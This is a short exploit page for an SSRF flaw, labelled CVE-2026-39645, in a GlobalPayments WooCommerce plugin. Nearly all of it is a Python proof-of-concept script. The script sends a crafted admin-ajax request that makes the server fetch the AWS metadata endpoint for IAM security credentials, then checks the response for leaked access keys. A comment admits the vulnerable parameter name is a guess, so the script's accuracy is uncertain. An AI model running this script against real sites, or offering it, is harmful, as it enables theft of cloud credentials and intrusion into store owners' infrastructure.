CVE-2026-39645 GlobalPayments WooCommerce SSRF漏洞

import requests # Target URL of the vulnerable WooCommerce site target_url = "http://example.com/wp-admin/admin-ajax.php" # SSRF Payload: Attempting to access internal metadata service (AWS example) # Replace the parameter name with the actual vulnerable parameter if known ssrf_payload = { "action": "globalpayments_action", "target_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Sending the request to trigger the SSRF response = requests.post(target_url, data=ssrf_payload, timeout=10) # Checking if the request was successful or if internal data was reflected if response.status_code == 200: print("[+] Request sent successfully.") print("Response Content:") print(response.text) # Logic to determine if internal data is leaked if "AccessKeyId" in response.text or "Code" in response.text: print("[!] Potential SSRF vulnerability confirmed! Internal data detected.") else: print("[-] Response does not contain obvious internal data, but vulnerability may exist.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}")